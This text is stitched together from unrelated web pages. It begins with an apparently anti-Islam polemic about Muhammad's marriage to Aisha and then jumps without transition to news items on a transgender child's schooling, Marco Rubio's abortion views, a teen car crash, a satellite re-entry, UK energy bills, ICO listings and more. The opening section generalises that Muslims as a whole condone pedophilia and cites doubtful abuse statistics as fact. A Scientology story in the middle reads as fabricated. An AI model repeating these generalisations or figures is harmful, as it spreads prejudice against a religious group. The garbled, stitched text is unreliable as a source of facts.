Some Muslim apologist refuse to accept the existence of narrations given by Aisha in which she states that she was married to Prophet Muhammad when she was six years old and that he consummated his marriage with her when she was nine lunar years of age, even though these are recorded in Bukhari's sahih ahadith collection.
These apologists will usually resort to questioning the English translation of Dr. Mushin Khan, without addressing the ahadith in their original Arabic. A reading of the relevant Bukhari ahadith make it clear that Muhammad had sexual intercourse with Aisha when she was nine years of age.
The terms used are: "udkhilath" and "bana biha", which can only mean "sexual intercourse" in the context of the ahadith. The confusion from Muslims regarding this comes from their lack of understanding regarding the English phrase "consummation of marriage", their ignorance of Arabic and their unwillingness to admit that their prophet had sexual intercourse with a nine year old child.
Pedophilia and the Tu Quoque Defense
This article refutes the claim that Joseph, the husband of Mary (the mother of Jesus Christ), was a pedophile, a popular yet erroneous tu quoque argument used to defend Prophet Muhammad's pedophilic marriage to Aisha.
Upon reading the non-canonical apocrypha, the Christian equivalent of da`if (weak) or maudu (fabricated) hadith, we find it does not say Mary married Joseph when she was aged only 12. It in fact says she was possibly 17 years of age at the time the marriage was eventually consummated, if ever (Mary's perpetual virginity, the belief that Mary remained a virgin her entire life, is an essential article of faith for the majority of the world's Christians).
The most decisive argument against the claim that Joseph was a pedophile is the fact that the same non-canonical writings which are used to gather information on Joseph and Mary's age, also confirm Mary's status as "ever virgin" (in The History of Joseph the Carpenter, Jesus says on Joseph's death "my mother, virgin undefiled").
Miscellaneous Apologetics Used to Defend Muhammad's Actions
This article refutes miscellaneous apologetics which may not be fully covered in our other articles, but are used by some to justify the marriage between the Islamic Prophet Muhammad and his six-year-old bride Aisha.
The 26 different excuses covered include; Muhammad can't be a pedophile because he also had sex with grown women, pedophiles prefer children but Muhammad had many adult wives and only one child-bride, at that time it was okay to have sex with 9 year-olds in Arabia, people lived shorter life spans back then, and menstruation in hot climates starts earlier than in cold ones, so girls in Arabia matured as early as nine.
Modern World
Contemporary Pedophilic Islamic Marriages
Due to its many endorsements within Islamic scripture, child marriages are permitted by the majority of Muslim scholars and leaders, and in many Islamic countries it is common practice. Girls far below the age of puberty are forcibly married to older persons (sometimes in their 50s and later) for various personal gains by the girls' guardian or with the intention to preserve family honor by helping her avoid pre-marital sex.
Pedophilic Islamic marriages are most prevalent in Pakistan and Afghanistan, followed by other countries in the Middle East and Bangladesh.[5][6] This practice may also be prevalent to a lesser extent amongst other Muslim communities, and is on the rise among the growing Muslim populations in many non-Muslim countries, such as the United Kingdom[7] and the United States.[8]
In countries like Yemen, Bangladesh, Iran, and Northern Nigeria, attempts at reforming laws and banning child marriages have been opposed and stopped on the grounds that such a ban would be un-Islamic,[9][10][11][12][13] and in the case of Malaysia, the growing Muslim population has effectively turned back the clock on social progress by passing new laws which allow for the practice of pedophilic marriages specifically between followers of Islam.[14]
So one has to agree that whatever reasons and justification people may give for the prevalence of child marriages in Muslim-majority nations, without Islam this practice would have long been discarded as immoral and unacceptable in the modern world.
Muslim Statistics on Pedophilia
This page consists of various statistics concerning Islam and children. A small sample include:
4 out of 5 Middle-Eastern women are sexually abused between the ages of 3 and 6 by family members. More than half of all Yemeni girls are married before reaching the age of puberty. With more than 3,900 children within 6 months, Indonesia tops the UN bodies list for child trafficking cases 2,000 child sex abuse claims in 1 year at Pakistani Islamic schools, but not even 1 successful prosecution
Pedophilia Discussed in Arabic/Islamic Media
This hub page contains English translations of various Arabic/Islamic media discussing pedophilia.
Is it permissible to restrict the age at which girls can marry?
Submitted by Ahmad, IslamOnline, December 24, 2010 Submitted by Ahmad, IslamOnline, December 24, 2010 The Noble Qur'an has also mentioned the waiting period [i.e. for a divorced wife to remarry] for the wife who has not yet menstruated, saying: "And those who no longer expect menstruation among your women - if you doubt, then their period is three months, and [also for] those who have not menstruated" [Qur'an 65:4]. Since this is not negated later, we can take from this verse that it is permissible to have sexual intercourse with a prepubescent girl. The Qur'an is not like the books of jurisprudence which mention what the implications of things are, even if they are prohibited. It is true that the prophet (PBUH) entered into a marriage contract with 'A'isha when she was six years old, however he did not have sex with her until she was nine years old, according to al-Bukhari. Therefore the issue is fixed in the Qur'an and the Sunnah. There is no jurisprudence without it being accused of being a 'male jurisprudence'!!! For a portion of the women in our day deny the jurisprudential efforts of scholars with the accusation that their masculinity leads them to jurisprudence which is in their best-interest, and against women. It appears that those who are led by this idea have the image stuck in their minds of a father or shaykh of a mosque, who would resort to religion. As this was his (description), it was not desirable. But this is not how it was, according to what was related by Allah Almighty: "But if the right is on their side, they come to him with all submission" [Qur'an 24:49]. Wherefore the history of jurisprudence is abounding [with examples] which dispel this mania, and this is not the place to lay them all out. But what can those who follow the Western feminist agenda say to this Qur'anic text, and to the marriage of the Prophet to 'A'isha (may Allah be pleased with her)!!!
Miscellaneous
The Harmful effects of Abuse, Documented in Islamic Scripture
It is no secret that sexual abuse of children has serious consequences on its victims and, among Muslims and non-Muslims alike, it is no longer a secret that the Qur'an explicitly condones pedophilia. Of course, for Muslims to finally acknowledge the harmful effects of abuse on a child it becomes necessary for us to expose those effects through authentic Islamic sources. That is why we find Aisha, Muhammad's third and "favorite" wife, to be the perfect model for assessing pedophilia and its consequences on the victims. The life of Aisha bint Abu Bakr truly was a seventh century tragedy.
Muhammad a Pedophile? Another Look
A second look at the question; was Muhammad a pedophile? One of the most disturbing things about Islam is that it does not categorically condemn pedophilia. Indeed, it cannot, for to do so would draw attention to the pedophilia of Muhammad, the founder of Islam. Many Muslims cannot condemn pedophilia even if they would like to, for they would have to abandon Islam. Muslims tacitly approve of pedophilia, even if they are embarrassed to say so. So mesmerized are Muslims by the example of Muhammad's pedophilia that they are unable to categorically denounce pedophilia or feel shame. It is prevalent in many Muslim countries disguised as child marriage. The UN is today trying to stop the evil of child marriage among the backward Islamic regions of Asia and Africa. The future of some 300 million young girls depends on it.
Aisha was Still Pre-pubescent Aged Fifteen
The doll-playing exegesis used in "Aisha's Age of Consummation" in itself proves Aisha's status as pre-pubescent at the time of the consummation of her marriage to Muhammad, but most Muslims are unaware that the Sahih ahadith say that Aisha, was below the age of puberty when she was at least fourteen years old, and remained in that state till the age of sixteen. This is because they have never read the Sahih ahadith in Arabic.
The narrators of the Sahih ahadith were not ashamed that Muhammad had married and had sexual relations with Aisha when she was below the age of puberty. Hence, from the original Arabic, it is clear that Aisha was below the age of puberty at the age of 14 (at the time of the raid on the Bani Mustaliq) or 15 (at the time of the Ethiopian slaves dancing incident), and begun her first menstrual period at the age of 16 (during the journey for hajj).
Quotes on Muhammad Relating to Pedophilia
This page consists of quotes relating to Muhammad's pedophilia made by notable individuals. For example, Simon Ockley, who was chosen Adams Professor of Arabic at Cambridge University:
[15] says that Abubeker was very averse to the giving him his daughter [Ayesha, who was then but seven years old] so young, but that Mohammed pretended a divine command for it; whereupon he sent her to him with a basket of dates, and when the girl was alone with him, he stretched out his blessed hand (these are the author’s words), and rudely took hold of her clothes; upon which she looked fiercely at him, and said, “People call you the faithful man,[16] but your behaviour to me shows you are a perfidious one.” And with these words she got out of his hands, and, composing her clothes, went and complained to her father. The old gentleman, to calm her resentment, told her she was new betrothed to Mohammed, and that made him take liberties with her, as if she had been his wife.[17]
An Arabian author cited by Maracci,says that Abubeker was very averse to the giving him his daughter [Ayesha, who was then but seven years old] so young, but that Mohammed pretended a divine command for it; whereupon he sent her to him with a basket of dates, and when the girl was alone with him, he stretched out his blessed hand (these are the author’s words), and rudely took hold of her clothes; upon which she looked fiercely at him, and said, “People call you the faithful man,but your behaviour to me shows you are a perfidious one.” And with these words she got out of his hands, and, composing her clothes, went and complained to her father. The old gentleman, to calm her resentment, told her she was new betrothed to Mohammed, and that made him take liberties with her, as if she had been his wife.
See Also
Articles
Concerns with Islam: Child Marriage
Sex - A hub page that leads to other articles related to Sex
Children - A hub page that leads to other articles related to Children
Necrophilia in Islam
Other Core Articles
Core articles contain an overview of other articles related to a specific issue, and serve as a starting point for anyone wishing to learn about Islam:
Theollyn said he met with his child’s teacher before the school year to discuss the situation. Theollyn said the teacher was accommodating and told him that D. would be given a hall pass to use whichever restroom he wanted when other children were not present.
The first day of the 2011/12 school year in McIntosh County was Tuesday, Aug. 23. On the first day, Theollyn said his mother walked D. to his classroom and was informed that D. would have to use the girl’s restroom.
“We thought there wasn’t an issue, but when he went to the first day of school he was told they had to use the girl’s restroom,” Theollyn said.
An impromptu meeting with the school principal and the district’s superintendent followed.
“It got nasty quickly,” Theollyn said. “It turned into threats almost immediately.”
Theollyn said that Hunter threatened to call child services during the meeting. The next day, Theollyn pulled his son from the school over concerns for his safety.
“We’re in a very traditionally Southern county,” Theollyn said. “The threat of violence is real. We’re feeling it. We’re scared. But does that mean that you stay silent? Does that mean you don’t challenge it? Fear is not a good reason to decide to do something.”
Calls to Dr. Hunter and other district officials have not been returned.
A transgender child
Theollyn says that his son began expressing his own gender identity as early as age 18 months.
“The first time he told me he was a boy he was about 18 months old,” Theollyn said.
In early 2010, D. began insisting that he be identified as a boy. Theollyn said that D. asked to have his head shaved and began throwing away and hiding his girl’s clothing.
“For a while he was saying he really didn’t care, that he was above all that gender stuff. Then one day he asked us to shave his head. He said, ‘I can’t wear girls clothes. I need to look like a boy.'”
Theollyn said at first, he thought D. was just emulating him. Other people who knew D. also expressed the same feelings.
“That really did not go well in a lot of ways,” Theollyn said. “He was very disappointed by the response.”
D. was home-schooled prior to this year. Theollyn said that his son wanted to go to public school because he wants to be a veterinarian and he wanted to interact with children his age. Theollyn said that D. felt being in home school would hurt his chances of becoming a vet.
“He was so ready,” Theollyn said. “It’s such a disappointment. He’s got a bookbag full of supplies he can’t use. He’s very clearly frustrated and disappointed.”
Theollyn said that he and D. have been working with a doctor.
What’s next for D.?
Theollyn said that he reached out to the American Civil Liberties Union earlier this week to discuss the incident. The state chapter forwarded the case to the organization’s main office in New York, according to Theollyn. He said he has not heard back.
Theollyn said he will present members of the McIntosh School board with educational material and a copy of the Change.org petition during a mid-September school board meeting.
“There’s several things I want to discuss,” he said. “I have no idea how that’s going to go.”
In the meantime, D. is back to learning at home.
Article continues below ...
Devon James, Holly Sampson and Joslyn James are starring in "3 Mistresses: Notorious Tales of the World’s Greatest Golfer," which is slated to be released April 3 — the day after Woods is set to tee off in the Masters, a tournament he has not won since 2005.
In the movie, the women are together for an in-depth Q&A session about Woods, which includes explicit discussions about his sexual tastes and on-screen demonstrations of what the golf legend is like in the bedroom.
"Hillary Clinton is an extremist on this issue," the Florida Republican said Thursday in New Hampshire. "She believes there should be no such thing as an illegal abortion -- even on the due date."
Rubio had been asked about his position on abortion after facing fire on the issue from his own party -- accusing him of being too extreme on the topic.
He said he would not "apologize" for being anti-abortion, though he recognizes the complexity of the issue. And then he pivoted straight to Democrats and Clinton.
"And she believes that partial birth abortion should be legal, which is a gruesome procedure that the vast majority of Americans find to be unconscionable," Rubio said.
It's a line of attack Rubio has used on the trail repeatedly when asked about his abortion policy, arguing that Democrats don't face enough scrutiny of their positions.
Clinton's campaign did not immediately respond to a request for comment.
Rubio himself believes only in exceptions to abortion bans only for the life of the mother, and not for cases of rape or incest. He has indicated, though, that as President he would sign legislation banning abortion if it had broader exceptions.
That stance came under fire Thursday from Rubio's opponent New Jersey Gov. Chris Christie, who said New Hampshire voters should be "really concerned" about Rubio's stance on abortion.
"On the issue of pro-life, Marco Rubio is not for an exception for rape, incest or life of the mother. I think that's the kind of position that New Hampshire voters would be really concerned about," Christie said Thursday on MSNBC's "Morning Joe."
"I'm pro-life but I believe that rape, incest and the life of the mother -- as Ronald Reagan did -- should be exceptions to that rule," he added.
Christie and Rubio are vying for the same Republican voters in New Hampshire, as both seek to present a moderate alternative to Donald Trump and Texas Sen. Ted Cruz. The two have been increasing the intensity of their attacks on one another as polls have showed them drawing close to each other in New Hampshire.
Rubio has accused Christie of donating to Planned Parenthood, an abortion provider, in the past, based on a quote in an old interview. Christie has denied doing so.
With a rift developing in the party, an anti-abortion group is calling for a detente.
The conservative anti-abortion group Susan B. Anthony List on Thursday sent a letter to the remaining candidates asking them to not attack Rubio and Cruz for their positions on abortion.
"Let me be clear: An attack on this aspect of these candidates' pro-life positions is an attack on the pro-life movement as a whole," wrote SBA List President Marjorie Dannenfelser.
Rubio vocalized his opposition to exceptions for abortions during the first Fox News debate held in August 2015, pushing back on Fox News host Megyn Kelly's suggestion that he supported them in the cases of rape and incest.
"I have never said that. And I have never advocated that," Rubio said. "What I have advocated is that we pass law in this country that says all human life at every stage of its development is worthy of protection. In fact, I think that law already exists. It is called the Constitution of the United States."
"I believe that every single human being is entitled to the protection of our laws, whether they can vote or not. Whether they can speak or not. Whether they can hire a lawyer or not. Whether they have a birth certificate or not," he added. "And I think future generations will look back at this history of our country and call us barbarians for murdering millions of babies who we never gave them a chance to live."
Scientology is a religion based on the ideas of the science fiction writer L. Ron Hubbard and his system of fulfillment and self-knowledge. Believers follow a path to understanding themselves and their capabilities. Ultimately, they wish to find enlightenment and freedom through spiritual means.
Said album, Bando, has infuriated the spiritual followers to physical violence. After repetitively informing followers and believers to NOT listen to the musical work and to NOT have anything to do with it, the church leaders discovered a small organization within the following run by people who approve and listen to the music, regardless of the threats.
Quickly, a small section of New York was turned upside down in disrupt after the church confronted these disloyal followers and punished them for listening to the album. They were physically beaten and verbally abused with sections of their Scientology learning’s. After the public humiliation on the listening group, they loudly set a movement forward to banish any followers found guilty of listening or obtaining the contraband.
We’ve experienced banishment and punishment due to the musical powers of one man’s experience through the afterlife. Scientology has become increasingly aware of the media’s involvement with this case and has publicly spoken out claiming no connection with the album, Bando, and seeking peace down the path of forgetting this ever happened.
We won’t forget.
Ongoing Initial Coin Offerings
Monaco ICO Update
Start time: May 18th, 2017, 9:30 UTC
End time: Jun 18th, 2017, 9:30 UTC
Price now: 130.0 MCO / 1 ETH
Minimum funding goal: 5,000 ETH
Soft cap: 150,000 ETH
Hard cap: 888,888 ETH
Raised: 35298.96 ETH
Issued: 4998207.89946819 MCO
Participants: 3234 Read More on the Monaco ICO here.
To follow the progress of the ICO click here: https://mona.co/tokensale.html
Wagerr ICO Update
Wagerr has already sold around 67,000,000 WGR tokens and is in the middle of round 8. If they can finish round 8, which looks very likely today or tomorrow they will enable Fantasy betting.
To see more about Wagerr and their ICO click here.
To follow the progress of the ICO click here http://www.wagerr.com/ico
DCORP ICO Update
DCORP launched its DRP tokens yesterday with a hard cap of raising 9,500,000 Euro. They have surpassed the 6,000,000 mark and are well on their way to selling out their ICO.
To read more on DCORP click here.
To follow the progress of the ICO click here https://www.dcorp.it/crowdsale
Sphre (Air) XID Token ICO Update
The Air ICO continues to sell slowly, only 16 of the 50 million allocated tokens have been sold. We will have to see if things pick up.
To read more about Sphre click here.
To follow the progress of the ICO click here https://tokeninvestor.com/crowdfunding/air
Aeternity 2nd Round ICO Update
Aeternity’s second round launched Monday, May 29th and has already raised 11,726,458 CHF, The round will be opened until they reach 21,000,000 CHF, with an additional 6 hours after that.
To read more about Aeternity click here.
To follow the crowdsale click here: https://wallet.aeternity.com/
ZrCoin ICO Update
ZrCoin continues its momentum with 4,530,736 raised, accomplishing phase one of raising enough for one factory. They only have 5 more days to reach their goal of 7,000,000 to open their second factory.
To read more on ZrCoin click here.
To follow the crowdsale click here:https://zrcoin.io/
Upcoming Initial Coin Offerings
Here are some of the ICOs coming in the next two weeks:
Digital Asset Description ICO Opening Date ICO Closing Date Read More BehaviourExchange Focused content for website users powered by AI and the blockchain. February 25, 2019 August 25, 2019 Visit Triffic Gamified P2P GPS network on the blockchain. February 25, 2019 April 25, 2019 Visit imusify A global dApp for the music industry. March 1, 2019 April 29, 2019 Visit Kinesis Stable-coin based on gold and silver. March 1, 2019 TBD Visit AvailCom Keyless property rentals with payment verification and autonomous entry permissions on the blockchain. April 15, 2019 May 15, 2019 Visit Multiven IT and computer hardware, security and services blockchain platform. May 1, 2019 May 31, 2019 Visit Imigize Remotely try clothing and shoes before purchasing via 3D rendering. May 5, 2019 TBD Visit Steel Token Secure data storage and transactions on a decentralized platform. June 20, 2019 August 20, 2019 Visit
Those who hold this view need to hear Asifa Khan of Bharuch who joined the BJP a few weeks before the 2012 election after spending 4 years as the Congress spokesperson in Gujarat. Asifa is a highly respected public figure and her joining the BJP created a real stir. She is respected not just by fellow Muslims but also enjoys high level of prestige among the Hindus. ( The full text of interview with Asifa will be posted soon).
Asifa had become a local celebrity as a successful journalist much before she was hand picked by Congress stalwart Ahmed Patel to join the Party as its spokesperson. She took on the job with as much enthusiasm and sincerity as she did her job as a journalist. But she quit the Congress after four years of hard work.
T his is how Asifa d escribes her experience of being a Congress worker and why an increasing number of Muslims, including herself, are gravitating towards Modi’s BJP.
Asifa Khan
Being a journalist I got a chance to interact with many politicians and industrialists. Since I hail from Bharuch district, and Ahmed Patel sahib also hails from the same district, he knew me for years as a renowned journalist of the area. He knew I had very good reputation. I believe it is one of that reasons that he hand-picked me in 2008 as spokesperson of Congress party in Gujarat as well as Media Cell convenor of All India Mahila Congress. I do not recall that thus far he has handpicked anyone else from our district and given him/her such an important designation.
Without contesting any elections and without any political background—I was not even an ordinary member of the Congress Party -- I was straight away given such a major responsibility. To my knowledge I did all justice to that responsibility and did everything I was asked to do. My job was media management for the Party, especially the publicity part. But I was not made to come face to face with the media. My job was behind the curtains. For example, if Rahul Gandhi was coming to Gujarat, I would design the program for him. We gave him the concept of Abhay Udaan and invited him to visit Gujarat and interact with the youth. We used to give him questions to work on and the tentative list of problems the youth would like him to speak on.
Sometimes I would be working till 1 a.m. in the night, discussing topics to be taken up by the Party and how we can make it work in the best possible way, what would Rahul be doing during his visit and how do we bring attention to the issues we want to highlight. I am the kind of person, when given responsibility I do it to the best potential I have.
In the 4 years I spent working for the Congress party, I came to see that the hard core issues and problems of people are not being addressed the way they should be doing. We were lacking leadership at the Gujarat state level which means that any issue that comes up doesn’t get solved at the state level, you need to send it to a higher authority or to Delhi and once you go with those issues to Delhi, it is either too late to be addressed or the hands of the national leaders are full. Issues that are important at the grass root level seem to be immaterial or small in front of the “national” issues and left aside or remain unattended. This creates a boomerang effect at the grass root level because people feel let down at their problems being ignored.
For example, when a widow whose husband was in the postal department came to me for employment, this is a central government issue. They have promised her a job but she is not getting it. She comes to us with genuine papers once, twice, or thrice but if we cannot help her with her problem, we are not able to go and show our faces back to her. She will carry an image that Congress doesn’t work. When I went to Kutch to interact with the Muslims, they said that earlier they were with the Congress but moved over to BJP. I was curious to know why they switched over to BJP. They said whenever we needed the slightest help of the Congress Party leaders in getting something done from the bureaucracy—such as license for a shop—we got no response. At times we could not even get an appointment; often there is no one there to listen to citizens with grievances. But in BJP we get prompt hearing. BJP leaders are receptive and accessible. One of the Muslim shopkeepers told me a friend of his took him to a BJP leader who promptly gave an appointment and sorted out the issue. He said to me, why should I not join the BJP? My house is running because of the BJP leaders and the councillor who actually helped me in earning my bread by getting me license for my shop. That is why, I switched over to BJP.
Another illustrative incident among many others in my hometown is that of a young boy running a small Chinese food kiosk. He joined the BJP way back in 2006. I asked him the reason and he explained saying, ‘See I was finding a problem to get a hawker’s license for my kiosk. I kept visiting various Congress leaders, including councillors, and yet nothing turned up. I am the sole bread winner of a family of 6. Ultimately, in sheer desperation I sought the help of a friend to introduce me to the BJP MLA. This MLA promptly took me to the relevant department and sorted out my problem by getting me a license from the Nagar Palika level. Now when my friend comes and says ‘Why don’t you put a BJP banner on your lorry how can I refuse him? I am here today because of my friend who took me to a BJP MLA”.
The five teens died in a crash that split the car in two and left it in flames
Tamer Mosallam's father made him stay home to study for a test
NEWPORT BEACH, Calif. (AP) — Tamer Mosallam was supposed to get picked up on Memorial Day for a trip to the beach with friends, but his father had other ideas and the carload of teens left him behind.
It would be the last time the 17-year-old would see his friends alive. The five teens — two boys and three girls — died late Monday afternoon in a fiery wreck that left the car they were riding in split in two and engulfed in flames. Among the victims were two of Mosallam's closest friends and a pair of sisters who had performed in a high school dance extravaganza over the holiday weekend.
"I was supposed to be with them in the car, that's why there were three girls," Mosallam said, explaining that he was to have been the third boy for a three-way double date. "They came to my house but my dad wouldn't let me go out because I was studying for a test."
A visibly shaken Mosallam and several dozen other students from Irvine Unified School District, where all the victims were enrolled, gathered outside Irvine High School on Tuesday to try to make sense of the tragedy.
Police said speed was a factor in the single-car wreck on a busy, six-lane surface street and the investigation was ongoing.
The driver was identified as 17-year-old Abdulrahman Alyahyan, a senior at University High School.
The passengers included 17-year-old Robin Cabrera, a senior at Irvine High, and her 16-year-old sister Aurora, a sophomore at the same school.
Also killed in the Monday crash were Cecilia Zamora and Nozad Al Hamawendi, both 17-year-old juniors at Irvine High.
There was no class Tuesday because it was a teacher development day but counselors would be on hand Wednesday, said Ian Hanigan, a spokesman for the Irvine Unified School District.
"There are simply no words to convey the sorrow felt by our students and staff, nor are there sufficient answers to explain the loss of five vibrant teenagers from our schools and this community," Irvine Unified School District Superintendent Terry Walker said in a statement.
The families of Zamora and Alyahyan declined to comment when reached by the AP. Families of the other teens could not be reached for comment.
Friends who gathered Tuesday outside Irvine High said the five were headed to the beach for a fun Memorial Day when the tragedy unfolded on a busy thoroughfare that connects Orange County's interior network of freeways with the famed Pacific Coast Highway and its beaches.
Authorities said the wreck was one of the worst in Newport Beach in recent memory and left two of the victims' bodies so damaged the coroner had to rely on fingerprints to identify them. The car hit a tree in the median, shearing it of its bark and leaving deep gouges in the trunk.
The Cabrera sisters were their parents' only two children and were both accomplished dancers in the school's dance program, friends said. They had performed in a three-day recital over Memorial Day weekend, said Brie Martinez, 15.
"(Aurora Cabrera) was kind of nervous for her dance but I heard she did really good," said Martinez, as she began to cry.
"I saw something about the crash on the news last night, but I never would have guessed it was them," she added.
Zamora was also in the dance program and performed over the weekend, said her friend, Paloma Douglas, a junior at the school.
Douglas last saw Zamora on Friday afternoon, when the two attended the same history class — the last course of their day.
"She was sitting next to me, so it's going to be tough seeing that empty seat," said Douglas.
Friends said Alyahyan, the driver, was obsessed with his Infiniti sedan, given to him by his older brother, and spent hours working on it and driving it around with his best friend, Al Hamawendi.
"Abdul loved cars. He took care of his car as if it was a human being," said Ibrahim Razzak, a junior.
The two boys were inseparable and were part of a larger group of about 10 close friends who were either first- or second-generation immigrants from various Middle Eastern countries, said Zach Darwish, an 18-year-old senior at University High who was also close friends with the two boys. The teens all spoke Arabic together when they hung out, which was constantly, he said.
Alyahyan came to Irvine from Saudi Arabia about three years ago, said Mohamad Abdul Razzak, a 16-year-old junior and close friend who also arrived in the U.S. last year from Lebanon.
He played excellent soccer, but wasn't on the school team, and planned to attend community college next fall.
Al Hamawendi came to Irvine two years ago with his family from Iraq, Abdul Razzak said.
He was obsessed with weight-lifting, worked out every day and had been on the wrestling team.
"We're all like one big group of friends. We all love each other, we're all like brothers. It seems like the circle has just broken apart," Darwish said.
"I still can't believe this actually happened to good friends of mine," he said. "It's the worst news you can possibly get."
Copyright 2013 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.
June 16, 2015, 12:11 AM GMT / Updated June 16, 2015, 1:13 PM GMT By Leonard David, Space.com
A satellite built to track rainfall on Earth fell out of orbit and is thought to have burned up in the atmosphere over the South Indian Ocean, NASA said Tuesday.
The satellite — called the Tropical Rainfall Measuring Mission, or TRMM — was built by NASA and the Japan Aerospace Exploration Agency to measure the amount of rainfall on Earth for weather and climate research. TRMM re-entered the atmosphere over Earth's tropical regions at 2:54 a.m. ET Tuesday, according to a NASA update.
The re-entry time and location was based on readings from the U.S. Space Surveillance Network, which is operated by the Defense Department's Joint Space Operations Center. There were no immediate eyewitness accounts of the satellite's fiery fall, and no reports of damage or injury. [The 6 Biggest Spacecraft to Fall Uncontrolled from Space]
About 12 pieces of space debris from the nearly 3-ton satellite were expected to survive the plunge through Earth's atmosphere and reach the surface. The chance that any one of these pieces would strike someone was approximately 1 in 4,200, NASA's Orbital Debris Program Office said.
As its name suggests, TRMM's orbit brings it over the tropics between 35 degrees north and 35 degrees south latitude. The Earth-watching satellite was launched from Japan's Tanegashima spaceport in 1997 for a planned three-year mission. TRMM ultimately lasted about 17 years before it was shut down on April 15.
The surviving objects would have been made of titanium or stainless steel. Total mass of objects expected to survive equates to 247 pounds (112 kilograms) — roughly 4 percent of TRMM's total dry mass.
NASA says anyone who thinks they may have found pieces of the TRMM satellite should call their local authorities. "Although these materials are not toxic, they could have sharp edges and should not be touched or handled by private individuals," the space agency says in its list of frequently asked questions.
According to the American Petroleum Institute, demand for oil in the U.S. in 2008 has decline by 6% to 19.4m barrels/day. That's like going back to 2003. "Gasoline deliveries dropped 3.3 percent to their lowest levels in five years. Deliveries of distillate fuel oil, which includes diesel fuel, fell 5.8 percent, while jet fuel deliveries slid 6.1 percent. Residual fuel oil deliveries dropped more than 14 percent.""All told, the magnitude of the drop in U.S. petroleum demand, which totaled more than 1.2 million barrels per day, was enough to offset the continued demand gains in developing countries around the world," said API statistics manager Ron Planting.Let's remember one thing, though. A reduction in oil demand doesn't mean a reduction in atmospheric CO2. All it impacts is the rate at which CO2 is pumped in the atmosphere - it doesn't remove any. We still need to reduce emissions much more and probably find ways to sequester a lot of atmospheric carbon before global warming gets too bad and ocean acidification destroys whole marine ecosystems.
Via API, AutoblogGreen
Photo: Flickr, CC
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It urged the Department of Energy and Climate Change to make an assessment of the impact if take up of new products is lower than predicted while warning that two million low income households, many dependent on electricity for heating, would be worst affected, including many pensioners.
It wants the DECC to investigate measures to offset the costs for poorer customers reliants on electricity.
In a report - The Hardest Hit - it said the average "benefit" from encouraging more use of energy efficient appliances and other green measures would be £31 per household a year - or 2pc - by 2020 rather than the official estimate of £166.
The study estimated that if demand for these appliances is lower than expected, bills would increase on average by £93 or 7pc above where they would have been if the Government had done nothing.
Much of the DECC’s estimate is based on policies introduced in 2002, such as new rules that encourage boilers to be replaced. The Consumer Futures study was based on measures introduced after 2010.
Consumer Futures estimated that 2.1 million low income households may be significant losers from the energy policy, in particular those dependent on electric heating and including many pensioners.
Households reliant on electric heating would see their typical bill rise by £282 by 2020, the report warned. This is because the cost of energy efficiciency policies fall largely on electricity customers. Such initiatives include the Electricity Market Reform (EMR) - investment in the network - and Renewables Obligation, where households with solar panels and other energy generation devices are subsidised by other electricity customers. The schemes will have cost an estimated £4.8bn by 2020.
Consumer Futures called for intervention to protect the most vulnerable customers from unfair additional costs.
Adam Scorer, director of policy at Consumer Futures, said: "Many will be protected from such costs by benefits such as energy efficiency, microgeneration technology and bill discounts. But for those who are not protected, the impact on their bills will be significant.
"Energy policies should provide benefits to many consumers, but as they are rolled out they will also create clear winners and losers. Some of those losers will be hit hard, and will not be in a position to absorb some significant bill shocks."
He also warned that the Government assumptions on savings could prove danergous. "There is a real danger that heroic assumptions about the benefits of product policy could perform the function of an energy policy comfort blanket, providing an illusory sense of security and cost saving," he said. "Consumers cannot afford such over generous policy assumptions.
"The Government must use the current Energy Bill and forthcoming Fuel Poverty Strategy and Heat Strategy to provide greater protection to those who rely on electric heating, but who cannot rely on current protections against the cost of energy policies."
Downing Street is ploughing ahead with a range of measures to "decarbonise" the UK economy, with the costs picked up by taxpayers, businesses and consumers. It is in reaction to the consensus of scientific opinion that human activity that releases carbon into the atmosphere contributes to climate change.
The UK is bound by international agreements to achieve an 80pc reduction in emissions by 2050.
The DECC also launched the Green Deal in January, which offers loans for energy efficient measures to be undertaken on homes with the cost recouped via additional repayments on the homeowner or tenants' energy bills.
But the policy has faced fierce opposition. An amendment to the Energy Bill which would commit the UK to have a “near carbon-free power sector” by 2030 was rejected in House of Commons yesterday. The bill has now passed on to the House of Lords.
A Department of Energy and Climate Change spokesman said: “The Energy Bill – which received overwhelming support in Parliament yesterday – and our policies to encourage investment in low carbon energy, will help cushion UK consumers from rising global wholesale oil and gas prices.
“Households with electric heating can benefit from the Warm Home Discount, which is helping over 2million households each year, the Green Deal, which will improve the energy efficiency of the nation’s housing stock and the Energy Company Obligation, which will put efficient boilers and insulation in thousands of homes each year, helping those who need it most.
"This is on top of work by Ofgem to extend the gas distribution network and a the Government’s grant scheme to help householders with the up-front cost of installing renewable heat equipment.
“We will consider Consumer Futures’ research carefully, but it does not take account the fact households – including those with electric heating - will continue to save money with energy efficiency measures installed before 2010. Our assumptions on products are also not based on expectations of a change in consumer behaviour. We do not assume or require that people replace products any faster than they already do.”
Enlarge this image toggle caption Don Emmert/AFP/Getty Images Don Emmert/AFP/Getty Images
On a recent camping trip, the itinerary for Girl Scout Troop 6000 was full of only-in-the-wilderness activities for these New York City kids. At a campground upstate, the girls — age 5 to 15 — milked cows and roasted marshmallows, and screamed when a moth flew by or someone found a spiderweb in the bathroom.
At the end of the trip, the girls left the cabins where they'd stayed and returned to the closest thing they have to a home: a 10-story budget hotel in Queens, where New York City's Department of Homeless Services pays to shelter homeless families.
All 28 of the girls in Troop 6000 live at the hotel. They're members of the first-ever Girl Scout troop for girls who are homeless.
"I try to stress the fact that they are just like any other Girl Scouting troop," says Giselle Burgess, who started Troop 6000 in February. "The only difference between us is at the end of our meetings we are still in the same location."
Burgess is a single mom with five kids, ranging in age from 3 to 14. Last year, her landlord decided to sell the building where she had an apartment. Burgess couldn't find a new place to live — she says potential landlords were wary of taking a single mom with that many kids — and entered the city's shelter system.
Now, the family of six shares one room and two beds.
"As far as, privacy between myself and the children, we get a little bit overwhelmed at times because you don't have your own space," Burgess tells NPR's Steve Inskeep. "But we're making it work."
When she became homeless last August, Burgess was working for the Girl Scouts of Greater New York as a community development specialist. She helped start new troops and recruit new Girl Scouts. Burgess asked if she could start a troop in her shelter, and the response was an enthusiastic yes, she says.
When people think about homelessness, Burgess says, they "think about the man on the corner who came from out of state and has the cardboard sign."
"I think my biggest goal here is to try to break that stigma of homelessness," she says.
So the troop, which includes three of Burgess' daughters, does what other Girl Scout troops do. They've practiced first aid, studied women's suffrage and learned about STEM careers.
